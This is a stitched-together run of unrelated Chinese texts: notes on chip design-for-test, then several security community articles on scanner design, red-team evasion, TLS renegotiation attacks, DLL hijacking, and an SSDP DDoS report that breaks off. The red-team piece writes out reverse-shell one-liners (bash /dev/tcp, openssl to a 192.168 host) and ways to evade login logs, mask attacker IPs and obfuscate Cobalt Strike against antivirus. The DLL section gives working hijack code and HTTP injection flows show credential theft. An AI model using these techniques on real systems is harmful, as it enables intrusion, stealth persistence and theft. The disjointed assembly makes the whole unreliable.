### DFT
在设计之初就添加额外的电路设计以实现测试的需求。
优点：提高故障覆盖率，减少测试模型生成的时间，减少测试时间，实现分支测试和并行测试，减少生产周期开销。
缺点：多余硬件成本，降低良率，降低性能，设计时间增加。
同时，由于DFT提供了观察和控制芯片存储模块的功能，芯片也变得不再安全。
首先我们介绍结构性测试
其中包括扫描，部分扫描，边界扫描
扫描是通过对全部触发器控制实现输入输出可控可观察
部分扫描是通过部分触发器控制实现输入输出可控可观察，相比于扫描降低了测试完整性提高了空间利用率和经济效益。
边界扫描通过链接主要输入和输出实现可控可观察。
对扫描的介绍主要是简化
由于扫描需要对全部触发器实现控制，在芯片越来越复杂的今天，这一工作量是巨大的，同时由于处理每一个触发器的时间无法无限缩短，所以我们需要通过增加链数减小链的最大长度来缩短总时间，但是链的最大长度的减小表示着测试覆盖率的降低（一条完整的链能够完全检测覆盖的逻辑与电路，将这条链一分为二，显然两条链连接部分的逻辑与电路失去了测试的覆盖）。所以我们要寻找新的方法在不降低覆盖率的同时，减少测试数据。
这里我们介绍基于LFSR的压缩，其他的方法可以自行学习。
首先我们要知道哪些部分是可以被压缩的。第一部分是don’t cares。在前面的学习中，我们已经知道don’t cares
是不影响输出的部分，也就是在测试过程中不需要控制和检测的部分。而一个电子电路中，don’t
cares的数量是巨大的，只有1~5%的输入时需要考虑的。那么我们对don’t
cares做什么处理呢，是固定设置还是随机设置呢。当随机设置时，会出现大量01变换，造成了功率的消耗，所以我们使用固定设置减少01变化。
接下来时LFSR压缩的基本思想： 通过种子实现测试模型。
种子如何生成。
我们记录01的转折点而不是那些care的输入。其中don’t cares 我们记作X
对于模块中存在转换或者当前模块没有转换但是和上一模块最后的care值存在转换，我们记录0作为标记，对于没有转换的模块标记1，对于模块中全是don’t
cares的模块我们标记X。
当读取到标记1时，对于don’t care的部分我们输入与前面一致的01，当标记为0时，我们根据LFSR生成01，当是X标记时，可以采用前面任意一种方式。
例子
四个输入为一组的四个模块，
第一个模块有转换，记录0，其余数据抄回，第二个模块无转换，记录1，第三个模块同样，第四个模块为don’t cares 模块
在编码之前，存在7个care点
编码后，除了最后一个don’t cares
模块的标记不需要记录，前三个模块标记需要记录，除此之外，要记录转换模块中的转换位置即记录开头0位置以及开头1位置。也就是只需要关注5个点就够了。
特殊的
第一个模块有转换0开头1结尾，第二个模块内部没有转换，但是第二个模块为0与前一模块1结尾出现了转换，所以记作转换。第三个模块为don’t
cares模块，根据前后模块关系决定处理模式：在上面的例子中，前一模块结尾为0，后一个模块开头为1，所以我们将第三个模块当作转换模块处理，以1结尾。
进一步我们寻找可压缩点，对于原数据我们压缩01重复，对于压缩后的数据，我们压缩重复的标记
记录01X时，可能存在多个模块类型一致，也就不需要改变标记了。
接下来是边界扫描，主要介绍工作原理
工作原理
边界扫描可以针对芯片，集成电路板，系统进行测试。其中最主要的是集成电路板的扫描。
移位寄存器的输入称为测试数据输入(TDI)，而移位寄存器的输出称为测试数据输出(TDO)。TDI和TDO分别表示JTAG接口的输入和输出。有限状态机，称为测试访问端口(TAP)控制器，基于三个信号控制所有可能的边界扫描功能，这三个信号是外部时钟(TCK)信号，测试模式选择(TMS)信号，和可选的测试复位(TRST)信号
在测试模式下，芯片的输入/输出引脚与逻辑块的主输入/输出之间不再有直接连接。芯片的输入/输出引脚在测试模式下被重用为扫描引脚.这有效减少了引脚个数。 | 社区文章 |
原文链接：http://avfisher.win/archives/676
## 0x00 前言
作为一个安全从业人员，在平常的工作中总是需要对一些web系统做一些安全扫描和漏洞检测从而确保在系统上线前尽可能多的解决了已知的安全问题，更好地保护我们的系统免受外部的入侵和攻击。而传统的web安全检测和扫描大多基于web扫描器，而实际上其是利用爬虫对目标系统进行资源遍历并配合检测代码来进行，这样可以极大的减少人工检测的工作量，但是随之而来也会导致过多的误报和漏报，原因之一就是爬虫无法获取到一些隐藏很深的系统资源（比如：URL）进行检测。在这篇文章里，笔者主要想和大家分享一下从另一个角度来设计web扫描器从而来解决开头所提到的问题。
## 0x01 设计
在开始探讨设计之前，我们首先了解一下web漏洞检测和扫描的一般过程和原理。通常我们所说的web漏洞检测和扫描大致分为2种方式：
* web扫描器：主要利用扫描器的爬虫获取目标系统的所有URL，再尝试模拟访问这些URL获取更多的URL，如此循环，直到所有已知的URL被获取到，或者利用已知字典对目标系统的URL进行暴力穷举从而获取有效的URL资源；之后对获取的URL去重整理，利用已知漏洞的检测代码对这些URL进行检测来判断目标系统是否存在漏洞
* 人工检测：通过设置代理（如：burp）来截获所有目标系统的访问请求，然后依据经验对可能存在问题的请求修改参数或者添加检测代码并重放（如：burp中的repeat功能）从而判断目标系统是否存在漏洞
对比上面的2种方式，我们可以发现web扫描器可以极大的减少人工检测的工作量，但是却因为爬虫的局限性导致很多事实上存在的资源不能被发现容易造成就误报和漏报；而人工检测可以很好的保证发现漏洞的准确性和针对性，但是却严重依赖于检测人员的经验和时间，尤其是大型系统很难在有限的时间内完成检测，同样会造成漏报。那么，如果能有效地利用扫描器的处理速度以及人工的精准度的话，是不是就可以很好地解决前面的问题了呢？
下面让我们来深究一下两者的各自优势，前者自动化程度高不需要过多的人为干预，后者因为所有请求均来自于真实的访问准确度高。我们不禁思考一下，如果我们有办法可以获取到所有的真实请求（包括：请求头，cookie，url，请求参数等等）并配合扫描器的检测代码是不是更加有针对性且有效地对系统进行漏洞检测呢？
我们设想一下，如果有这样一个系统可以在用户与系统之前获取到所有的请求，并分发给扫描器进行检测，这样只要请求是来自于真实的应用场景或者系统的功能那么就可以最大程度地收集到所有真实有效的资源。故可以设计该系统包含如下的子模块：
* 客户端：用户访问系统的载体，如：浏览器，手机APP
* 代理：用于获取来自于客户端的所有请求，如：Burp，Load Balancer
* 解析器：负责将代理获取的请求数据按照规定格式解析并插入至请求数据库中
* 请求数据库：用于存放代理获取的所有请求数据以及解析器和扫描器的配置信息
* 扫描器：具有漏洞检测功能的扫描器，如：自行编写的定制扫描器（hackUtils），SQLMAP，Burp Scanner，WVS，OWASP ZAP等
* 应用系统：目标应用系统，如： Web系统，APP
基本架构如下：
从上图的设计中，我们可以利用代理将所有访问目标系统的请求获取并存储在一个统一的数据库中，然后将这些真实产生的请求分发给不同的扫描器（比如：常见的OWASP
Top10的漏洞，已披露的常见框架或者中间件漏洞等）进行检测。上述设计是高度解耦合地并且每个子模块都是只负责自己的功能相互之间并不干扰，且仅通过中心数据库关联起来，因此我们可以通过设置多个代理和扫描器地随意组合来实现分布式地批量检测。
这种设计架构可以很方便地进行扩展和应用， 例如：
* 对于漏洞检测或者安全测试人员，我们只需要在本地设置好代理（如：burp），然后在浏览器或者移动APP中正常地访问或者测试应用的每一个页面和功能，接下来的漏洞检测工作就完全交给了扫描器去做，这将极大地节约了时间和避免了大量重复的手工检测的工作量
* 对于企业系统，我们可以将代理设置在应用前端（如：load balancer），这样所有的请求将会被自动镜像在扫描数据库，并自动分发给多个扫描引擎进行检测，无需手工干预即可发现很多隐藏很深的漏洞
## 0x02 实践
俗语说的好，“Talk is cheap, show me the code”!
是的，为了更好地了解这种设计思路的好处，笔者设计了一个Demo系统。该系统利用了burp作为代理，当我们在浏览器或者手机的wifi中配置好了代理服务器，漏洞检测的工作将会简化成简单地浏览应用的每一个页面和功能，代理将会自动地收集产生的所有请求数据（包括，各种请求头，cookie，请求方法，请求数据等）然后通过解析器的解析并存储于中央数据库，然后再分发于多个扫描引擎对请求的所有可控输入点进行repeat检测。
效果如下：
以下是我封装的一个python的requests库，它支持发送自定义的cookie，headers的get/post的请求，并可以是使用PhantomJS引擎去解析和渲染GET请求响应的页面中的javascript，css等，可以非常方便的应用于反爬虫和DOM型XSS的检测。
Code：<https://github.com/brianwrf/HackRequests>
## 0x03 思考
从漏洞检测的角度来说，经过笔者的测试（以DVWA和WebGoat为例）检测效果还是非常明显和有效的。其实这种类似的设计，很早之前就已经有人做了，那么很多人要问了为什么你还要在重复造个轮子呢？其实原因有以下几点：
* 系统耦合性较强，不利于进行扩展和改造
* 在HTTPS的流量捕获上支持的不是很好
* 没有做到对HTTP请求中所有的可控输入点进行检测，例如，仅仅检测GET/POST数据，而对cookie，user-agent, referer等缺乏检测
* 缺乏对于DOM的渲染和解析，容易造成对于基于DOM的漏洞的漏报，比如：DOM型的XSS等
* 不具备分布式部署的能力，无法有效利用分布式处理的优点来提高检测效率
* 不具备真正的意义上的repeat检测能力，换句话说不能完全模拟用户的请求
当然，上述的设计也存在一些待解决的问题，比如：
* 若将代理部署至应用前端镜像所有请求，再分发至扫描引擎检测，如何防止真实用户数据泄漏和篡改？可能的解决方案是设置例外，对于敏感字段或者请求进行例外处理。
## 写在最后
Anyway, 新系统的设计无非是汲取前人的智慧加以优化再为后人铺路，解决问题才是考验系统能力的关键！后续我会继续努力改进其不足，让其更加易于使用！ | 社区文章 |
**作者：风起@WgpSec团队
相关阅读：<https://paper.seebug.org/1666/>**
# 前言
大家好，我是风起，相信不少小伙伴都阅过本系列的前作
[红队实战攻防技术（一）](https://paper.seebug.org/1666/)，前作以一次真实的红队攻防案例作为展开，引出一系列的知识点及渗透时的一些小Tips。而近期因为相关法规，我们不能再以真实攻防案例作为讲解，所以本章将以攻防思路为主展开讲解，尽量以本地环境复现，望大家谅解。
作为本系列的续章，希望能够面向红蓝双方进行讲解，在进行一些攻击方式分析时，同样也会引起防守方对于攻击的思考。红蓝对抗的意义也正是在这种持续的攻击下不断寻找防御的平衡点，故
**未知攻，焉知防** 。
**本文仅做安全研究作用，切勿违法乱纪** 。
# 幽灵登录
`ssh -T [email protected] /usr/bin/bash -i`
相信熟悉红队的小伙伴，不难看出，上面这条命令在日常渗透中，进行登录操作会经常使用，因为他不分配伪终端的方式而不会被w和last等命令记录。所以在某些时候，如果防守方在上机排查时，仅查看日志发现没有异常登录，却没有注意到是否存在异常网络连接时，就会判断为误报，给攻击者可乘之机。
通过上图，大家可以看到没有任何的登录信息，同样lastlog也不会记录本次登录行为。那么这种方式没有办法排查吗？其实不是的，因为攻击者在连接22端口时，并不是没有痕迹，只要连接SSH端口就一定存在记录。
如图，我们从lsof以及ss命令结果中发现了连接服务器的恶意IP地址，那么这里留一个疑问，攻击者还有什么办法可以规避这样的排查方式呢？其实，在全国HW中，常见的隐匿个人主机IP地址的方式有许多，例如：肉鸡代理流量、VPN、基础隐匿设施等手段。而在攻击溯源的过程中，防守方通过攻击肉鸡服务器获取权限从而溯源攻击者信息的手段屡试不爽，除非攻击者愿意在拿下肉鸡权限后长期维护，不然一些水平不错的溯源人员也可以通过相同的方式拿下权限追溯攻击源，当然很少有攻击者愿意花费时间成本在一个肉鸡上，基本上都是用一次换一个。
但是不得不承认，时至今日，肉鸡仍然是非常有效的隐匿及攻击方式。
# SSH隧道隐匿
目前的内网渗透中，市面上有着大量各种各样的代理工具，例如：frp、ew、nps、venom、regeorg等等，根据不同的场景使用的协议也各不相同，也有DNS、ICMP、RDP这些非常规协议代理的工具。但是这些代理工具基本上都被一些杀软和态感所敏感，基本上在非免杀状态下就是落地被杀。所以也更加推荐大家使用一些系统自带的工具进行代理流量，例如：SSH隧道代理，Windows
netsh、iptables等。本段将着重讲解SSH隧道代理的Tips。
这里我们可以着重看一下箭头所指的地方，通过SSH隧道代理的方式，抛开我们VPS用户密码被监测到不谈，真实IP也一览无余的在网络进程以及相关连接中，老道的防守方成员可以很直观的发现是一起
**【SSH隧道代理事件】** ，但是这里也不是我们所需要关注的，毕竟我们不能把所有防守方当傻子，要正视对手的能力。
这里我们采取Nginx反向代理的方式，具体实现方式这里不多赘述，感兴趣的同学可以关注Ngrok或者Heroku等方式的配置，也可以自己使用匿名域名及服务器搭建。
通过上图我们可以看到使用反向代理的地址进行SSH隧道转发可以有效的隐匿真实的IP地址以及IP地址，注意这里的IP地址是Ngrok服务器的地址，从而实现了隐匿的效果。
# 反弹shell隐匿
在我们日常渗透Linux主机的时候，当碰到RCE漏洞的时候，需要进行反弹获取交互shell的时候，通常都会使用以下两条命令。
例1:
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.0.100:2333 > /tmp/s; rm /tmp/s
例2:
bash -c 'exec bash -i &>/dev/tcp/192.168.0.100/2333 <&1'
以上的两个例子可以说是我们日常渗透中最常用的两条反弹shell命令，当然例1的优点是他的流量是进行了加密的，在这种情况下反弹shell执行的命令是无法被流控监测到的，最多可能会报
**隐蔽隧道通信**
的异常事件，但是这种事件对于一个有一定规模的值守单位，真的是太正常了。每天都会发生成千上万起类似的误报，而像向日葵、teamview这一类的报警基本都是直接忽略的。
但是我们所需要注意的也正是这样的反弹方式，无论是例1还是例2我们都会发现都是不可避免的泄露了真实IP地址。其实这里的隐匿方式与上面的SSH隧道代理的原理是一样的。都是通过了反向代理的方式实现的，之前的文章中的渗透操作中也有使用这样的方式，然后有师傅咨询过，所以这里再拿出来冷饭热炒一下。
最终的效果如上图，可以看到反弹shell的地址为反向代理的域名，连接的端口为10075而实际上线的端口并不是这一个，这也仅仅是与前端服务器建立的网络连接，实际真正上线的为前端服务器转发给后端服务器的地址。
# CosbaltStrike Profile
相信绝大多数从事渗透工作的同学对于CosbaltStrike这个工具都不陌生，虽然目前一线的红队已经逐渐从CS转到一些小众的C2设施去，但是不置可否的是CS仍然是非常好用的工具，它所提供的Profile自定义流量特征的功能，如果配置得体搭配域前置技术实现高信誉域名结合，所制造的效果基本上与正常的流量没有差异。
灵活的编写Porfile是非常行之有效的，也不仅仅只是应用于伪造隐匿，在做免杀时，通过配置相关的混淆参数也可以过卡巴斯基的流量查杀，在之前测试免杀时，基本上静态已经过了，但是脚本仍然启动一会就被查杀了，这时通过配置CS
profile的以下两段代码解决。
通过配置 **set obfuscate "true";** 高度混淆内存中的代码绕过。
而对于我们使用域前置的方式，假设profile不进行任何配置，则会告警。如下图
这时通过配置profile中stage的set cleanup "true";即可解决。
这里风起哥将自己编写的profile文件传到了Github上，感兴趣的小伙伴可以自行下载进行个性化配置。
**Github:<https://github.com/wikiZ/service_cobaltstrike>**
# 运维惯性密码
在很多时候我们横向拿下主机服务也不一定非要通过正面打漏洞的方式，在某次渗透项目中，我们通过推测运维密码习惯的方式拿下了23台Redis数据库，起初通过配置文件只发现了一个redis数据库密码，但是本机上部署有大量的redis数据库，但是通过对这些redis数据库的端口号与密码分析得到了一个规律。
**zzRedis63902020** 像这个密码，不难猜测密码为前后缀固定格式，中间四位为本机端口号，然后重新组合登录，然后尝试登录，发现确实如此。
然后，懂得都懂。
值得思考的是，这样的密码组合方式拓宽权限的方式真的不要太多了。毕竟运维也是人，不可能一个服务一个密码，但是安全管理规定也要执行，所以很多时候就出现了这些富有规律的密码。
所以像此类攻击获取的权限，也许不是防守方人不行，而真的是路不平了吧哈哈哈。
# 行为测绘
上面讲解了几个红蓝对抗中常碰到的一些Tips，其实就目前一些地方护网项目来看，与常规渗透的区别也并不是很大，所以上面讲的一些方式可能更加适用于全国HW行动中使用，因为无论是人员水准还是重视程度都差异非常大。
**但是不管在日常渗透中还是HW项目中，行为测绘都是非常行之有效的资产测绘手段。**
首先对于梳理企业资产，我们首先需要思考三个W，也就是who? what? where? 字面来看也就是谁的？什么？哪里?
而应用于红队，目前各级护网对于资产归属的划分其实比较严格，例如资产属于总集团还是二级单位或者子公司，是否与集团内网互通？都是需要思考以及确认的点。那么我们首先从who去思考再从what谁和where在哪里去收集，资产的所属单位以及相关的网络信息，例如使用的框架、部署的业务系统、服务、开放的端口、使用的开发语言、域名等等。
不同的群体，可能表现出基本的独有的特征，当我们能掌握到这个特征，那么我们就能尽可能识别出这个群体里的所有个体，而这些所谓的行为特征在网络空间测绘里表现出的是这个设备各个端口协议里的banner特征。
目前在网络空间测绘里常用的通用组件指纹识别形成的指纹库就是利用了通用组件通用的默认配置特征这个“行为”来进行识别的。
也就是说，当我们掌握了一定的目标资产特征的时候，就可以根据我们对指纹的理解编写规则更加精准的匹配资产。并且通过资产测绘的方式也可以尽量减少主动扫描被发现的概率，因为一般的目标组织，他的对外业务服务并不会频繁的改动，所以我们得到的信息通常是较为精准的。
**这里我们最常提取的特征像favicon图标hash码，HTTPS证书序列号，前端代码段，服务连接banner等。**
例如我们去做漏洞应急，以exploit-db上的公开漏洞举例。
该举例漏洞为国外的一个WIFI摄像头设备的未授权RCE漏洞，我们可以看到公开的漏洞POC中得到了两个关键信息，该漏洞是通过连接目标设备telnet
23端口，因为default用户登录未鉴权导致。所以我们通过提取 **port:23 +"goke login:"** 这两个特征作为指纹关联受影响的资产。
**通过Kunyu关联资产，发现全网共有318台脆弱资产。**
同样对于内网中的一些隐秘资产也可以采取HOSTS碰撞的方式。这种方式也是源于在企业内网中可能使用了很多Nginx反向代理，仅能使用配置好的ServerName的内网域名进行访问，那么我们在外网使用HOSTS碰撞的方式就可以碰撞出很多仅能内网使用的业务平台，直通内网业务！
这里仅做抛砖引玉的作用，更高效的企业资产收集方式可以关注 **Kunyu(坤舆)** 的使用。
**[knownsec/Kunyu: Kunyu, more efficient corporate asset collection
(github.com)](https://github.com/knownsec/Kunyu)**
# 后记
再次感谢各位读者的支持，我一直觉得写文章是一件很有意思的事，把自己所学的，总结的经验以文字的形式传递下去，我最初的想法也是如此，我认为哪怕只有一位师傅看到我的文章后觉得有所收获，那么我觉得我所做的就不是没有意义的。
本文作为红队攻防系列的续章，大概也是末章。在我的TODO中，之后会发布一篇 **新型网络犯罪攻防研究**
对这个方向从攻击思路、情报研究到研判分析进行深入讲解，敬请期待。
Kunyu（坤舆），后期持续维护更新，目前已经着力于结合测绘数据进行深度信息收集，并且后续会将更新点着力于此。同样应用于打击新型网络犯罪中也有显著效果，会在之后的文章以实战的方式展示给大家。
**其实最近风起的心情非常不错，因为我有了一个可爱的学霸女朋友，她叫知之，我也喜欢叫她吱吱。同样也是我的初恋。我们之间非常有缘分，真的就是我心目中的理想女友，希望我们能够天长地久，她也会是我奋斗的动力，有机会一定介绍给大家认识。**
**最后祝大家心想事成，美梦成真！**
# Community
有想要认识一下，或者交流技术的同学，可以通过以下方式联系作者:
欢迎大家来了解一下，WgpSec狼组安全团队： <https://mp.weixin.qq.com/s/3bKG3ZqBebxpWXfZ9CVU-g>
* * * | 社区文章 |
# SSL/TLS协议安全之:不安全的重协商
|
##### 译文声明
本文是翻译文章，文章来源：Windcarp@360安全播报
译文仅供参考，具体内容表达以及含义原文为准。
**Author: Windcarp**
**稿费：500**
**
**
**0x00 背景**
这些年来,SSL/TLS协议的安全性一直是国内外安全研究者研究的重点。在近些年里,针对TLS的漏洞,出现了很多种攻击,如2009年的InSecure
Renegotiation(不安全的重协商),2011年的BEAST攻击,2012年的CRIME攻击,以及2013年的Lucky 13,RC4
biases,TIME和BREACH,还有2014年的贵宾犬Poodle攻击。
我们知道,在SSL3.0中引入了支持密码学参数的重协商的特性。当Client或者Server请求重新谈判时,将会有一次新的握手过程,以协商新的安全参数。
这一切看起来都没有问题,但是安全研究者们仍然发现了安全问题,这就是我们今天讨论的主题:Insecure Renegotiation。
**0x01 重协商安全**
这个安全问题的起因在于,应用层和加密传输层因为分层的设计,几乎没有互动。举个例子来说,重协商可以发生在一次HTTP请求过程的中间,但应用层并不知晓。
此外,还有可能的一种情况是,Web服务器会将重协商之前的接收数据缓存,和重协商之后的数据一起转发给应用服务器。当然重协商之后参数会发生变化,如可能使用了不同的客户端证书,从而最终导致了TLS和Web应用出现mismatch(不协调)。
**攻击流程:**
攻击者拦截受害者到服务器的Handshake请求包
攻击者新建一个TCP连接到服务器(SSL)以发送Payload
接下来,攻击者将第一步拦截下来的包发出去。对于服务器来说,以为受害者发起了重协商请求,所以重新建立了TLS连接,但是却忽视了数据的完整性,将两次数据接在一起,从而造成了有害数据的注入。
示意图如下。这里我们示意其对HTTP GET请求的一次注入过程。
通过重放Client(victim)的重协商请求包,我们发起攻击。利用的前提条件是找到一个触发重协商的点。当然如果有用户主动发起重协商是最好不过的,如果一些网站在某些条件下需要重协商,攻击者也可以加以利用。
**0x02 攻击的利用:HTTP**
利用不安全的重协商,其攻击的影响主要取决于底层协议和服务器的实现,攻击HTTP是最容易想到的一种利用,这种攻击存在很多变体,Thierry
Zoller对HTTP攻击提出了攻击向量与POC。
**任意GET命令执行**
1、这是最简单的攻击,举个例子吧:
GET /PATH/TO/RESOURCE.jsp HTTP/1.0
X-Ignore: GET /index.jsp HTTP/1.0
Cookie: JSESSIONID=BASD429ERTLKP09W3P0932K
这就是我们前面注入的Payload。
攻击者虽然借用了受害者的身份凭证等机密信息访问了任意GET,但是攻击者不可能获得返回的结果,这种效果和CSRF攻击的效果比较像。
2.凭证盗窃
访问中比较重要的信息就是Cookie、Session等凭证信息,也是攻击者瞄准的重点。Anil在Twitter(这是什么网XD)上提出了这种攻击:
**POST /statuses/update.xml HTTP/1.0**
**Authorization: Basic [attacker's credentials]**
**Content-Type: application/x-www-form-urlencoded**
**Content-Length: [estimated body length]**
status=POST /statuses/update.xml HTTP/1.1
Authorization: Basic [victim's credentials]
加粗部分是我们的Payload。前一阵很流行用思聪老公的号发微博,这个正好相反。
3.用户重定向
如果攻击者可以发现攻击目标网站有一些用户重定向的存在,那么攻击就更加有意思了,Mikhail对此进行了一些探索:
1 将用户重定向到恶意网站
如果我们发现的重定向点可以将参数回放到返回重定向的Location字段,那么我们可以很容易将用户重定向到恶意网站,不过这种情况并不多见。
2 降级劫持
如果重定向的点是不受HTTPS保护的plaintext web site,那么TCP连接便会暴露,我们即可以通过SSLSTRIP的方式劫持受害者的访问。
GET /Some300Resource HTTP/1.1
Connection:close
Host:virtualhost2.com
rnrn
GET /clientsoriginalrequest HTTP 1.1
Host:bank.com
3 POST 劫持
如果返回307状态的用户跳转的话,代表着服务器要求浏览器以和本次访问一样的Request访问跳转的内容。
我们来看下面的攻击过程:
MITM->Bank.com:443
POST /some307resource HTTP/1.1
X-Ignore: POST /login.jsp HTTP/1.1
Host: Bank.com
Content-Length: 100
username = windcarp&password=secretmsg
rnrn
Client<-Bank.com:443
307 OK HTTP/1.1
Location: http://www.plaintext.com/PostComment
rnrn
Client->MITM:80->plaintext.com:80
POST /PostComment HTTP/1.1
Host: plaintext.com
Content-Length: 100
username = windcarp&password=secretmsg
rnrn
在这一步,攻击者作为中间人已经可以获得受害者的账户密码。
Client<-MITM:80
307 OK HTTP/1.1
Location: https://www.bank.com/login.jsp
rnrn
Client->Bank.com:443
POST /login.jsp HTTP/1.1
Host: Bank.com
Content-Length: 100
username = windcarp&password=secretmsg
rnrn
为了使攻击伪装的更好,我们用一个307跳转跳转回bank登陆,看起来什么都没有发生,但是攻击已经成功。
4 其他
TRACE
http请求需要server将request放在response中原样返回。如果这种情况出现我们就可以控制返回包中的一些内容。有趣的是,有些小众的浏览器可以以http格式解析包头中的内容从而造成XSS。
**0x03 其他协议**
针对SMTP和FTP两种协议也存在着攻击的理论可能。
对于SMTP,Wietse
Venema针对Postfix做了研究,但是侥幸的是,因为一些实现的问题,导致这个漏洞并不会被触发。与此同时,SMTP本身安全性过差导致这个漏洞没有很大的价值。
对于FTP,则可以利用这个漏洞达到TELL SERVER DISABLE ENCRYPTION的效果,之后所有的数据就会取消加密,从而造成信息泄露的问题。
**0x04 结语**
解决不安全的重协商这种攻击在起初时给出了两个思路:
升级到支持安全的重协商
直接关闭重协商的选项
不用分析,两种方法高下立判。当然,在新版本的传输层安全协议中这个问题已经得到了很好的解决,但是漏洞与攻击思路,在我们今天的安全研究中仍可以起到一些借鉴作用。
Reference
[1]MITM attack on delayed TLS-client auth through renegotiation
<http://www.ietf.org/mail-archive/web/tls/current/msg03928.html>
[2]TLS/SSLv3 renegotiation vulnerability explained
<http://www.g-sec.lu/tools.html>
[3]TLS renegotiation vulnerability: definitely not a full blown MITM, yet more
than just a simple CSRF
<http://www.securegoose.org/2009/11/tls-renegotiation-vulnerability-cve.html>
[4]Generalization of the TLS Renegotiation Flaw Using HTTP 300 Redirection to
Effect Cryptographic Downgrade Attacks b284
<http://www.leviathansecurity.com/white-papers/tls-and-ssl-man-in-the-middle-vulnerability/>
[5]Google
[http://www.google.com](http://www.google.com/) | 社区文章 |
# 基础知识
Windows 操作系统通过“DLL路径搜索目录顺序”和“Know
DLLs注册表项”的机制来确定应用程序所要调用的DLL的路径，之后，应用程序就将DLL载入了自己的内存空间，执行相应的函数功能。
**DLL路径搜索目录顺序**
1.程序所在目录
2.程序加载目录（SetCurrentDirectory）
3.系统目录即 SYSTEM32 目录
4.16位系统目录即 SYSTEM 目录
5.Windows目录
6.PATH环境变量中列出的目录
**Know DLLs注册表项**
Know DLLs注册表项里的DLL列表在应用程序运行后就已经加入到了内核空间中，多个进程公用这些模块，必须具有非常高的权限才能修改。
Know DLLs注册表项的路径为`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session
Manager\KnownDLLs`
# 如何发现可以劫持的dll
## Process Monitor手动
允许这些
Operation is CreateFile
Operation is Load Image
Path contains .cpl
Path contains .dll
Path contains .drv
Path contains .exe
Path contains .ocx
Path contains .scr
Path contains .sys
排除这些
Process Name is procmon.exe
Process Name is Procmon64.exe
Process Name is System
Operation begins with IRP_MJ_
Operation begins with FASTIO_
Result is SUCCESS
Path ends with pagefile.sys
找到符合条件的dll双击查看stack
`LoadLibrary`和`LoadLibraryEx`一个是本地加载，一个是远程加载，如果DLL不在调用的同一目录下，就可以使用`LoadLibrary(L"DLL绝对路径")`加载。
## 工具自动发现
ImpulsiveDLLHijack
Robber
DLLHijackingScanner
Rattler
### Rattler使用如下
测试软件路径不能有中文
# 手动劫持
## 劫持应用中不存在的dll
result显示name not found意思就是应用中不存在dll
notepad++6.6.6在Rattler中发现Msimg32.dll是可以劫持的
vs创建一个dll项目
创建完成是这样的
加点代码,调用计算器出来
生成的dll在项目文件夹下
将生成的dll文件重命名为Msimg32.dll复制到notepad++目录下
运行notepad++就会弹出计算器了
## 劫持应用中存在的dll
result显示success意思就是应用中存在dll
同时也需要具备这个条件
然后查看该dll的导出表,导出表就相当于全局函数,谁都可以调用
编写dll时，有个重要的问题需要解决，那就是函数重命名——Name-Mangling。
C++的编译器通常会对函数名和变量名进行改编，这在链接的时候会出现一个严重的问题，假如dll是C++写的，可执行文件是C写的。在构建dll的时候，编译器会对函数名进行改编，但是在构建可执行文件的时候，编译器不会对函数名进行改。这个时候当链接器试图链接可执行文件的时候，会发现可执行文件引用了一个不存在的符号并报错，这里直接定义`extern
"C"`来告诉编译器不对变量名和函数名进行改编即可
代码如下，我们的目的就是让程序本身去`LoadLibrary`去加载dll
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <stdlib.h>
extern "C" __declspec(dllexport) void Scintilla_DirectFunction();
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
void Scintilla_DirectFunction()
{
system("calc");
}
这里已经说明加载了我们自己写的dll
但是我们劫持的dll已经影响到软件的正常运行,所以需要用到下面转发技术
# 转发技术
转发技术就是加载恶意dll之后为了使软件正常运行将程序的执行过程转发到原来的执行流程
## 直接转发
直接转发的利用方式只能在DllMain中利用
加载恶意dll后调用原dll,导出表的函数是在原dll执行的
## 即时调用
加载恶意dll后,通过GetAddress函数获取原dll里导出表的函数的地址,在恶意dll里面通过地址调用导出表的函数
# 工具劫持
## 示例1:直接转发
点击生成会在dll目录下生成一个cpp文件
创建一个dll项目
将cpp里面的文件复制到dllmain.cpp
头文件添加#include <stdlib.h>以及在函数入口处添加system("calc");调用计算器进行测试
生成dll的时候注意版本要选择对,软件是x86就算x86,64就选64
最终的结果
运行qq弹出计算器
## 示例2:即时调用
这里notepad++6.6.6版本使用直接转发劫持SciLexer.dll会无法运行但是使用即时调用劫持可以运行
生成cpp文件
将cpp文件里面的内容复制到dllmain.cpp里
这里有必要说一下,在它自动生成的cpp里面是只有Windows.h的头
需要加上下面这两个头
然后在文件入口处调用下计算器测试
最后你的文件夹里一定是这样的
SciLexer.dll是你生成的dll
SciLexerOrg.dll是原来的dll
然后打开notepad就会弹出计算器了
# 参考文章
<http://www.yongsheng.site/2022/08/24/DLL%E5%8A%AB%E6%8C%81/>
<https://cloud.tencent.com/developer/article/1951503>
<https://blog.51cto.com/xunansec/5325399>
<https://www.freebuf.com/articles/system/324598.html> | 社区文章 |
# 【技术分享】如何利用SSDP协议生成100Gbps的DDoS流量
|
##### 译文声明
本文是翻译文章，文章来源：blog.cloudflare.com
原文地址：<https://blog.cloudflare.com/ssdp-100gbps>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[興趣使然的小胃](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**一、前言**
****
上一个月，我们发表了一篇分析[文章](https://blog.cloudflare.com/reflections-on-reflections/)，与大家分享了常见的反弹式攻击的统计信息。当时SSDP攻击的平均流量大约为12
Gbps，被我们记录在案的规模最大的SSDP（Simple Service Discovery
Protocol，简单服务发现协议）反弹式攻击有以下几点统计数据：
1、30 Mpps（每秒发送上百万个包）
2、80 Gbps（每秒发送数十亿个比特）
3、大约使用了94万个IP用于反弹攻击
几天以前，我们发现了一个规模异常巨大的SSDP放大攻击，再次刷新了这些记录。这次攻击值得好好深入研究一番，因为它的规模已经超过了100Gbps这个阈值。
整个攻击过程中，每秒发送的数据包走向大致如下图所示：
带宽占用情况如下图所示：
整个数据包洪泛攻击持续了38分钟。根据我们采样的网络数据流，我们发现这次攻击用到了93万个反弹服务器。我们估计在时长38分钟的攻击中，每个反弹服务器往Cloudflare发送了11.2万个数据包。
